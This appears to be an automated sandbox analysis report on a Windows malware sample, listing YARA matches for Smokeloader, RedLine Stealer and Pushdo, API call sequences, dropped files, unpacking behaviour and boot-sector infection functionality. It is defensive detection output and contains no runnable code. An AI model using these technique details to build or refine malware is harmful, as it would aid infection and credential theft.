Source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.349438381.0000000000940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000002.00000002.415409935.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000002.00000002.415684725.00000000008EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.349678189.000000000099B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 11_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,

11_2_004023F2

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F2
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040234C NtQuerySystemInformation,	0_2_0040234C
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402357 NtQuerySystemInformation,	0_2_00402357
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402363 NtQuerySystemInformation,	0_2_00402363
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402367 NtQuerySystemInformation,	0_2_00402367
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040151F
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040152C
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402391 NtQuerySystemInformation,	0_2_00402391
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401514
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_004014F2
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040234C NtQuerySystemInformation,	2_2_0040234C
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401557
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402357 NtQuerySystemInformation,	2_2_00402357
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402363 NtQuerySystemInformation,	2_2_00402363
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402367 NtQuerySystemInformation,	2_2_00402367
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_0040151F
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_0040152C
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402391 NtQuerySystemInformation,	2_2_00402391
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	6_2_00409543
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_0040E48D NtQuerySystemInformation,	6_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00401B2C NtQueryInformationProcess,	6_2_00401B2C
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	11_2_00409543
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_00401B2C NtQueryInformationProcess,	11_2_00401B2C
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,	11_2_004023F2
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_0040E48D NtQuerySystemInformation,	11_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024D97A9 GetWindowsDirectoryW,NtAllocateVirtualMemory,RtlEnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,RtlLeaveCriticalSection,LdrEnumerateLoadedModules,	11_2_024D97A9
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024D97AA GetWindowsDirectoryW,NtAllocateVirtualMemory,RtlEnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,RtlLeaveCriticalSection,LdrEnumerateLoadedModules,	11_2_024D97AA

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 6_2_0040B453: DeviceIoControl,

6_2_0040B453

Source: GyTbKONlyq.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gjsvvic

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@9/9@112/11

Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: GyTbKONlyq.exe

ReversingLabs: Detection: 33%

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GyTbKONlyq.exe C:\Users\user\Desktop\GyTbKONlyq.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gjsvvic C:\Users\user\AppData\Roaming\gjsvvic
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D2B5.exe C:\Users\user\AppData\Local\Temp\D2B5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B7BD.exe C:\Users\user\AppData\Local\Temp\B7BD.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\B7BD.exe "C:\Users\user\AppData\Local\Temp\B7BD.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3896.exe C:\Users\user\AppData\Local\Temp\3896.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D2B5.exe C:\Users\user\AppData\Local\Temp\D2B5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B7BD.exe C:\Users\user\AppData\Local\Temp\B7BD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3896.exe C:\Users\user\AppData\Local\Temp\3896.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F324E4F9-8496-40b2-A1FF-9617C1C9AFFE}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 11_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,

11_2_004023F2

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\D2B5.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 6_2_00BCBB56 CreateToolhelp32Snapshot,Module32First,

6_2_00BCBB56

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu
Source: C:\Users\user\AppData\Local\Temp\3896.exe	Mutant created: \Sessions\1\BaseNamedObjects\pigalicapi

Source: B7BD.exe

String found in binary or memory: remarked, referring to certain imaginations, is the damage?" "No professor?" cried Miss Perkman bade Mr. Sharp that they "spit on the name.-Add to all offices," so that I love you always say," rejoined the motherly-looking woman, who seems to see an opportuni

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GyTbKONlyq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GyTbKONlyq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: B7BD.exe, B7BD.exe, 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\suj.pdb source: GyTbKONlyq.exe, gjsvvic.1.dr
Source:	Binary string: 0>C:\jesimifuxojup\posu\50\w.pdb source: explorer.exe, 00000001.00000003.417030884.000000000CADA000.00000004.00000001.00020000.00000000.sdmp, D2B5.exe, 00000005.00000000.429629803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, D2B5.exe.1.dr
Source:	Binary string: C:\jesimifuxojup\posu\50\w.pdb source: explorer.exe, 00000001.00000003.417030884.000000000CADA000.00000004.00000001.00020000.00000000.sdmp, D2B5.exe, 00000005.00000000.429629803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, D2B5.exe.1.dr
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp, B7BD.exe, 0000000B.00000002.491723553.00000000025CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: B7BD.exe, 0000000B.00000002.577783311.0000000004D2F000.00000004.00000020.00020000.00000000.sdmp, B7BD.exe, 0000000B.00000002.491723553.00000000025CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: " A=\|8c4C:\jug.pdb source: B7BD.exe, 00000006.00000000.451317221.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B7BD.exe, 0000000B.00000000.469377004.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\jug.pdb source: B7BD.exe, 00000006.00000000.451317221.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B7BD.exe, 0000000B.00000000.469377004.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: SC:\suj.pdb source: GyTbKONlyq.exe, gjsvvic.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 6.2.B7BD.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 11.2.B7BD.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Unpacked PE file: 0.2.GyTbKONlyq.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\gjsvvic	Unpacked PE file: 2.2.gjsvvic.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 6.2.B7BD.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Unpacked PE file: 11.2.B7BD.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\3896.exe

Unpacked PE file: 12.2.3896.exe.1440000.2.unpack

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402C0E push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402D5D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402D70 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402D7D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402D1F push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402D81 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_00402DA7 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Code function: 0_2_0040AE81 push ecx; ret	0_2_0040AE94
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402C0E push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402D5D push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402D70 push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402D7D push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402D1F push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402D81 push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_00402DA7 push ecx; iretd	2_2_00402E3D
Source: C:\Users\user\AppData\Roaming\gjsvvic	Code function: 2_2_0040AE81 push ecx; ret	2_2_0040AE94
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_0040A3BD push eax; retf	6_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BD1838 pushfd ; iretd	6_2_00BD1839
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BD1D07 push es; iretd	6_2_00BD1D09
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BCC63C push ds; retf	6_2_00BCC63E
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BCFB78 push ecx; retf	6_2_00BCFB7A
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BCFB6D push ecx; retf	6_2_00BCFB74
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BD1346 push eax; retf	6_2_00BD1347
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_0040A3BD push eax; retf	11_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024DA618 push eax; retf	11_2_024DA625
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024D371C pushad ; ret	11_2_024D371D

Source: 3896.exe.1.dr	Static PE information: section name: .debug_o
Source: Ruifriwreh.dll.5.dr	Static PE information: section name: .didata
Source: pigalicapi.exe.12.dr	Static PE information: section name: .debug_o

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 12.2.3896.exe.1440000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.3896.exe.1440000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.591542045.0000000001440000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BC2
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BC2
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BBF
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BBF
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BB8
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BB8

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gjsvvic

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3896.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D2B5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	File created: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3896.exe	File created: C:\Users\user\pigalicapi.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gjsvvic	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B7BD.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3896.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	6_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CreateFileA,DeviceIoControl, PHYSICALDRIVE0	6_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_0040895B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_00408951
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: FindCloseChangeNotification,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_00408958
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BC2
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BC2
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BBF
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BBF
